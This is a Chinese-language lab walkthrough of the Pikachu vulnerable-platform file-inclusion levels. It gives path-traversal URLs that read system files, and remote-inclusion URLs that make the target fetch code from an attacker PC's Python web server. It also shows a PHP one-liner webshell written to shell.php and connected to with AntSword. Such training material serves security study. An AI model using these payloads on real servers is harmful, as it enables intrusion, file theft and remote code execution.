pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)
目录
一、来自官方的简介
二、来自小可爱的通关步骤
第一关 File Inclusion(local)
1、读取“隐藏”文件
2、读取系统文件
3、结合文件上传getshell
第二关 File Inclusion(remote)
1、直接包含木马
2、包含写木马的文件
先安利一下自己之前写过的DVWA通关--文件包含(File Inclusion)
在DVWA通关中写过的一些注意点可能在本篇中就不会再赘述了,所以如果不是针对pikachu的文件包含漏洞通关,可以再看一下这篇DVWA的文件包含漏洞通关,写的比本篇pikachu的更全更细更费心。
一、来自官方的简介
pikachu中文件包含漏洞的概述如下
那么在下文中,File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。
在开始之前必须知道的一点是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。
二、来自小可爱的通关步骤
第一关 File Inclusion(local)
-------的地方是个下拉框,可以选NBA球星,比如选了Allen Iverson之后,页面是下图这样,url是http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4
可见其中包含了一个文件file2.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。(~ ̄▽ ̄)~
1、读取“隐藏”文件
首先,由于观察到上图的filename是file2.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。
把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。
那有没有可能这套文件里面就有废弃或者隐藏的文件咧?
把burpsuite请出来爆破一下:
把下图这个请求报文send to intruder
然后像下面这样设置一下:
爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破
把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file10.php、file100.php
盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:
file6.php果然是个包含用户名和密码的隐藏文件
file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
file10.php和file100.php都是一样的报错信息,就不贴图了。
2、读取系统文件
从上面的报错信息还可以发现系统是windows系统,并且网站根目录是C:\phpstudy_pro\WWW
windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。
上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:
http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4
成功读取到C:\Windows\win.ini文件的内容:
3、结合文件上传getshell
在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为609886601eb870c1b37703602838.jpeg,其内容包含下图所示的一句话木马。
上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/02/06/609886601eb870c1b37703602838.jpeg&submit=%E6%8F%90%E4%BA%A4
用蚁剑连接:
连接成功:
第二关 File Inclusion(remote)
先勘察一下情况:
首先这关要在php.ini中打开allow_url_include,不然会像下图这样报错。
这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?
url中把include()函数的完整参数给出来了。
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径呢:
1、直接包含木马
攻击PC上起一下http服务:
1、cmd命令行cd命令进入木马所在文件夹
2、起http服务:python3 -m http.server 8080
这样就把攻击PC上的http服务起起来了,接下来就可以通过文件包含漏洞从服务器请求攻击PC上的文件了。
用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/sh.txt&submit=%E6%8F%90%E4%BA%A4 包含文件sh.txt
该文件内容如下:
在浏览器里面试一下(虽然利用这个文件不是在浏览器里面利用,但反正就是演示一下请求文件成功了):
浏览器回显的warning是因为sh.txt中的一句话木马用的是assert()函数
攻击PC上cmd命令行可以看到sh.txt文件请求成功
上蚁剑:
url地址就是上面说的payload
连接成功
2、包含写木马的文件
首先同样要在攻击PC上起http服务,方法参见上一节。
接着用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/fin.txt&submit=%E6%8F%90%E4%BA%A4 包含文件fin.txt
该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马<?php assert($_POST[fin]);?>写入shell.php。
浏览器地址栏输入payload之后,返回的就是正常显示的页面,因为fin.txt中是php代码,被当作php代码解析,并不会显示出来。
但实际上从攻击PC的cmd窗口可见,服务器请求fin.txt。由于确定有文件包含漏洞,此时fin.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。
上蚁剑:
由于一句话木马是与fi_remote.php文件同级目录的shell.php,所以蚁剑上的url地址应该是:http://192.168.101.16/pikachu/vul/fileinclude/shell.php
连接成功
pikachu的文件包含漏洞设置的挺简单的,要看复杂些的可以看看dvwa的,我在本文开头安利了之前写过的dvwa的文件包含通关。
另外,需要注意的一点是,如果攻击PC上可以解析php代码,那远程文件包含的时候,就不能包含php文件,而是要包含其他后缀的文件;但如果攻击PC不能解析php,就比如像上面演示的这样,用python3 -m http.server(或者python2 -m SimpleHTTPServer )起http服务,攻击PC就不会解析php,也就可以远程包含php文件。
如有疑问欢迎留言讨论,如有错误欢迎指正
pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)相关推荐
- pikachu 暴力破解 Brute Force(皮卡丘漏洞平台通关系列)
目录 一.官方概述 二.小白菜的通关 第一关 基于表单的暴力破解 第二关 验证码绕过(on server) 1.绕过步骤 2.一点思考 第三关 验证码绕过(on client) 1.绕过步骤 2 ...
- Pikachu靶场之文件包含漏洞详解
Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...
- pikachu漏洞平台通关系列导览(所有关卡已完结)
~~pikachu通关系列完结撒花啦~~ pikachu总体来说不难,没啥需要绕过的,比较直白,但胜在分类比较细,关卡比较多,入门练手还挺好玩的.(其实我觉得后台代码比较简单明了也是个优点(╹ڡ╹ ) ...
- PiKachu-File Inclusion(文件包含漏洞)
概述 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在P ...
- 文件包含和命令注入漏洞
文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...
- pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)
目录 一.client check 客户端验证 1.现象 2.绕过姿势 方法一.浏览器禁用javascript 方法二.burpsuite抓包改后缀 3.问题分析 二.MIME type 1.现象 2 ...
- pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)
目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...
- pikachu SQL注入 (皮卡丘漏洞平台通关系列)
目录 一.官方的戏精引言 二.仙女在认真闯关 一重天 数字型注入 二重天 字符型注入 三重天 搜索型注入 四重天 xx型注入 五重天 insert/update注入 (1)insert注入 (2)up ...
- pikachu Unsafe Filedownload 不安全的文件下载 (皮卡丘漏洞平台通关系列)
这关也几乎是一步就能搞定 1.轻松过关 进入本关看到下图的页面,点击球员名字可以下载头像图片 点击之后直接下载了,没有页面跳转,地址栏的url没有变化 右键 查看网页源代码 通过球员名称快速定位到相关 ...
最新文章
- java命令查看环境变量 user.home file.encoding等参数值
- 使用TensorFlow,GPU和Docker容器进行深度学习
- synchronized(八)
- 基于socket的C语言编程,C语言实现的Socket编程
- openstack ice版文档horizon整理(页面resize)
- 最新LAMP源码搭建网站平台PHP5.5.1 + Apache2.4.6 + mysql5.6.12
- 【NOI OpenJudge1789】算24(搜索)
- tensorflow学习之常用函数总结:tensorflow.argmax()函数
- html5爆音,刻录音乐CD出现爆音的解决方法
- c语言编译是繁体字,cconv实现简体/繁体转换
- java 自定义报表_报表模板实现网格式自定义报表
- Tomcat的使用(详细流程)
- 编译过程 多个.c文件 . h文件 和main文件的 联系
- 雷顿学院与与河北各地高校签署战略合作伙伴关系
- win7命令更新补丁
- BlackHat DEFCON现场秀:阿里安全专家演示“视频水印叠加”和“一分钟越狱iOS 11.4”...
- PHP项目实战之商品的增删改查
- 网络游戏开发成本,运营成本,收入
- pdfpcell 怎么设置单元格大小_word怎么设置单元格大小
- 超低排放行业标准发布!
热门文章
- debian8文件服务器,debian 8 下部署开发环境
- 9.5 隐函数求导法则
- Borel probability measure space (Borel 概率测度空间)是个啥?
- Error排错:container runtime network not ready
- 个位数字加百位数字等于千位数字加上十位数字,且该该数为奇数
- 抗疫逆行者网页作业 感动人物HTML网页代码成品 网页作业带JS下拉菜单 最美逆行者网页模板 致敬疫情感动人物网页设计制作
- JAVA基础七 类和对象
- linux中剪刀石头布的程序,简单模拟剪刀石头布js
- ai的布尔运算在哪_在AI中如何进行布尔运算
- Web 的全栈工程师必修课 - 关于 MVC 框架